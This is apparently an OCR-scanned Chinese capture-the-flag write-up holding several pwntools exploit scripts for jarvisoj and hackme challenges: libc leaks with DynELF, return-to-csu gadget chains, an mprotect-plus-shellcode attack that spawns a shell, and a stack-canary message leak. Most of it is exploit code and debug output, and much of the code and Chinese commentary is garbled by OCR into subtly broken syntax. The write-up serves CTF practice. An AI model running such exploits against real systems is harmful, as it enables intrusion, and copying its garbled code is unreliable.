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#!/usr/bin/env python

# coding=utf-8

from pwn import *

# context.log_level = "debug"

io = remote("pwn2.jarvisoj.com", 9880)
elf = ELF("./leveld")

# plt.got
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]

vuln_addr = 0x804844b
main_addr = 0x8048470
bss_addr = 0x8042024

def leak(address):
payload = 'a' * (0x88+0x4)
payload += p32(write_plt) + p32(vuln_addr) # BB IRIR A A IR
payload += p32(1) + p32(address) + p32(4) # data REANFHKE
io.send(payload)
data = io.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data

dyn = DynELF(leak,elf = ELF("./leveld"))
sys_addr = dyn.lookup("__libc_system","1libc")
# print hex(sys_addr)

payload = 'a' * (0x88 + 0x4)

payload += p32(read_plt) + p32(sys_addr)
payload += p32(1) + p32(bss_addr) + p32(10)
io.send(payload)

io.sendline("/bin/sh")

io.interactive()
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#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *

context.log_level = "debug"

# io = remote("hackme.inndy.tw",7705)
io = process("./very _overflow")

elf = ELF("./very_overflow")

puts_addr = elf.plt["puts"]
puts_got = elf.got["puts"]
vuln_addr = 0x8048853

def debug():
raw_input("Enter>>")
# odh._ston()
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gdb.attach(io)

def fill():
sss = 'a' * 128
for i in range(128):
io.recvuntil("action: ")
io.sendline("1")
io.recvuntil("note: ")
io.sendline(sss)

def leak(address):

count = 0

data = "'

fill()
io.recvuntil("action: ")
#

io.sendline("3")

io.recvuntil("show: ")

io.sendline("127")

io.recvuntil("action: ")

io.sendline("1")

# mZ

io.recvuntil("note: ")

debug()

payload = p32(@) + 'a' * 12

payload += p32(puts_addr) + p32(vuln_addr) + p32(address)

# debug()
io.sendline(payload)
# note id
io.recvline()
# puts
up = "'
while 1 :
¢ = io.recv(1)
count += 1

if up == '\n' and c == '1":
data[-1] = "\x00'
break

else:
data += c

up = ¢

print data

data = data[:4]
for i in range(4) :
data += io.recv(numb = 1,timeout = 1)
print "%#x => %s" % (address, (data or '').encode('hex'))
return data
Dyn = DynELF(leak,elf = ELF("./very overflow"))
sys_addr = Dyn.lookup("__libc_system","1libc")
print hex(sys_addr)

io.recvuntil("action: ")



io.sendline("3")
io.recvuntil("show: ")
io.sendline("127")

io.recvline()

switch_addr = io.recvline()[10:-1]
print switch_addr

1 Sent 0x1d bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 aaaa|aaaa aaaa|
00000010 20 53 S
0000001d
] Received 0x61 bytes:
'0k! Your note id is 128\n'
'1l) add note\n'
'2) edit note\n'
'3) show note\n'
'4) dump notes\n'
'5) exit\n'
'Your action: '

n

no
not
note
note

note
note
note

2)
1) add note
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Dump of assembler code for function _ libc_csu_init:

0x0000000000400650 <+0>: push ri5
0X0000000000400652 <+2>: mov r15d,edi
0x0000000000400655 <+5>: push rl4
0xX0000000000400657 <+7>: mov rl4,rsi
0x000000000040065a <+10>: push ri3
0x000000000040065C <+12>: mov ri3, rdx
0x000000000040065F <+15>: push ri2
0x0000000000400661 <+17>: lea rl2,[rip+0x2001d8] # 0x600840
0X0000000000400668 <+24>: push rbp
0X0000000000400669 <+25>: lea rbp, [rip+0x2001d8] # 0x600848
0X0000000000400670 <+32>: push rbx
0Xx0000000000400671 <+33>: sub rbp,ri2
0Xx0000000000400674 <+36>: xor ebx, ebx
0X0000000000400676 <+38>: sar rbp, 0x3
0Xx000000000040067a <+42>: sub rsp,ox8
0Xx000000000040067e <+46>: call 0x400480 <_init>
0Xx0000000000400683 <+51>: test rbp, rbp
0Xx0000000000400686 <+54>: je 0x4006a6 <__libc_csu_init+86>
0Xx0000000000400688 <+56>: nop DWORD PTR [rax+rax*1+0x0]
0Xx0000000000400690 <+64>: mov rdx,rl3
0Xx0000000000400693 <+67>: mov rsi,rl4
0Xx0000000000400696 <+70>: mov edi,ri5d
0Xx0000000000400699 <+73>: call QWORD PTR [ri12+rbx*8]
0x000000000040069d <+77>: add rbx, 0x1
0x00000000004006al1 <+81>: cmp rbx, rbp
0x00000000004006a4 <+84>: jne 0x400690 <__libc_csu_init+64>
0Xx00000000004006a6 <+86>: add rsp,ox8
0XxX00000000004006aa <+90>: pop rbx
0x00000000004006ab <+91>: pop rbp
0XxX00000000004006ac <+92>: pop ri2
0XxX00000000004006ae <+94>: pop ri3
0x00000000004006b0O <+96>: pop ri4
0x00000000004006b2 <+98>: pop ri5
0x00000000004006b4 <+100>: ret
View Code
FI L
1.#47gad1
0x00000000004006aa <+90>: pop rbx /10
0x00000000004006ab <+91>: pop rbp I

0x00000000004006ae <+94>: pop r13
0x00000000004006b0 <+96>: pop r14
0x00000000004006b2 <+98>: pop r15
0x00000000004006b4 <+100>: ret



2. F#iTgad2

0x0000000000400690 <+64>: mov rdx,r13
0x0000000000400693 <+67>: mov rsi,r14
0x0000000000400696 <+70>: mov edi,r15d
0x0000000000400699 <+73>: call QWORD PTR [r12+rbx*8]
0x000000000040069d <+77>: add rbx,0x1
0x00000000004006a1 <+81>: cmp rbx,rbp
0x00000000004006a4 <+84>: jne 0x400690 <__libc_csu_init+64>
0x00000000004006a6 <+86>: add rsp,0x8
0x00000000004006aa <+90>: pop rbx

0x00000000004006ab <+91>: pop rbp

0x00000000004006ac <+92>: pop r12

0x00000000004006ae <+94>: pop r13

0x00000000004006b0 <+96>: pop r14

0x00000000004006b2 <+98>: pop r15

0x00000000004006b4 <+100>: ret
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#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *

context.log_level = 'debug'
context.arch = 'amdé4'

io

process("./level5")

io = remote("pwn2.jarvisoj.com",9884)
libc = ELF("./1libc-2.19.s0")

elf = ELF("./level5")

# gdb.attach(io,"b * 0x400613")
# plt and got and libc for ready
write plt = elf.plt["write"]



write_got = elt.got| "write"]

read_plt = elf.plt["read"]

write_libc = libc.symbols["write"]
mprotect_libc = libc.symbols["mprotect"]
bss = 0x600a88

start = elf.symbols["main"]

# universe gadgets
pop_rbx_rl5 ret = 0x4006aa
mov_rdx_call _rl2 = 0x400690

def universe_gadgets(payload,argl,arg2,arg3,call):
payload += p64(pop_rbx_ri5 ret)
payload += p64(0) + p64(1)
payload += p64(call) + p64(arg3) + p6d(arg2) + p64(argl)
payload += p64(mov_rdx_call ri2)
payload += 7 * p64(0xdeadbeef)
return payload

# leak the address of mprotect

payload = 'a' * (0x80 + 0x8)

payload = universe_gadgets(payload,1,write_got,8,write plt)
payload += p64(start)

# leak the address of mprotect

0x4006B3

0x4006B1

payload = 'a' * 0x88

payload += p64(rdi_ret) + p64(1)

payload += p64(rsi_ret) + p64(write_got) + p64(0Oxdeadbeef)
payload += p64(write_plt) + p64(start)
io.recvuntil("put:\n")

rdi_ret

rsi_ret

io.send(payload)
write_addr = u64(io.recv(8))
mprotect_addr = write_addr - write_libc + mprotect_libc

print "mprotect_addr ->> " + hex(mprotect_addr)
# read the shellcode into bss

payload = 'a' * 0x88

payload += p64(rdi_ret) + p64(0)

payload += p64(rsi_ret) + p64(bss) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)

shellcode = asm(shellcraft.amd64.sh())
io.recvuntil("put:\n")

io.send(payload)

io.send(shellcode + '\0")

print "read over"

# read the mprotect_addr to __ gmon_start__

gmon = Ox600a70

payload = 'a' * 0x88

payload += p64(rdi_ret)

payload += p64(0)

payload += p64(rsi_ret) + p64(gmon) + p64(0xdeadbeef)
payload += p64(read_plt) + p64(start)
io.recvuntil("put:\n")

io.send(payload)

io.send(p64(mprotect addr))



print 'f**k ok'

# change bss into 'rwx' with mprotect

payload = 'a' * 0Ox88

payload = universe_gadgets(payload,0x600000,0x1000,7,gmon)
payload += p64(start)

io.recvuntil("put:\n")

io.send(payload)

print "change successfully"

# read the bss to _ libc_start_main

libc_start = 0x600a68

payload = 'a' * 0x88

payload += p64(rdi_ret)

payload += p64(9)

payload += p64(rsi_ret) + p64(libc_start) + p64(©xdeadbeef)
payload += p64(read_plt) + p64(start)
io.recvuntil("put:\n")

io.send(payload)

io.send(p64(bss))

# execv the shellcode

payload = 'a' * 0x88

payload += p64(libc_start) + p64(libc_start)
io.recvuntil("put:\n")

io.send(payload)

io.interactive()
io.close()

XANERIEA Hbug, ESHITERIMAFIVeritas
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_stack _chk_fail:

void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");

fortify_fail:
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void
__attribute__ ((noreturn))
_ fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, _ libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
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find Hello
Searching for 'Hello' in: None ranges
Found 2 results, display max 2 items:

smashes : ("Hello!\nWhat's your name? "
smashes : ("Hello!\nWhat's your name? "

OK, & H X fFsmashes

FE THRAY, FHgetsfiN, ¥EBE LML \N, BRRB LR KERN, HTkS%dcanarysiTED
flag.

WA B, AT LAMEFSSP leakitt 5 tiflag, {H2 KIEST ENflaghy, ZHbht FiflagE 4B % T -
FrUA R 3] TELFR ERE, fEgdbHi#Rflag, WTLARRE A — /&40
find CTF

Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:

smashes : ("CTF{Here's the flag on server}")
smashes : ("CTF{Here's the flag on server}")

Bl — At JE e IR 45 Elflag.

# BARMIBE L2002 E2RNK, FAEE TSR, Frilgdodf Btk BB tbl, A ar DUEE A W=
REBSENBRKE, EEREIIK pbd(target_addr)*2003t47 2B & st AT LA T

EXP:

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *

import time

context.log level = ‘'debug’

# io = process("smashes")

io

= remote("pwn.jarvisoj.com",9877)

payload = p64(0x400d21) * ©x200 # 200,201, ---209---IFERERA LI

io.
io.
io.
io.
io.

recvuntil("name?")
sendline(payload)
recvuntil("flag: ")
sendline()

recv()

time.sleep(@.5) # FEIBITIMEH RILENMEA F A A R IF AR BRI, TRERERAEEEIIMER T H#E?
# FRIEFRE, AREREMEcanary. . « ZRFERIERZF R

;] Received Ox5c bytes:
'Thank you, bye!\n'

'*** stack smashing detected ***: PCTF{57dErr_Smas } terminated
\n'
[*] Closed connection to pwn.j 1soj.com port 9877

Test Your Memory
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exp:



#!/usr/bin/env python

# -*-coding=utf-8-*-

from pwn import *

context.log_level = 'debug'

io = remote("pwn2.jarvisoj.com", 9876)
elf = ELF("./memory")

io.recvuntil("? : \n")

catflag = int(io.recvline(),16)
sys = elf.symbols["win_func"]

# print hex(address)

payload = 'a' * @x17 + p32(sys) + p32(catflag) *2
io.recvuntil("> ")

io.sendline(payload)

# io.recv()

io.interactive()

¥, T https://www.cnblogs.com/ZHijack/p/8460551.html
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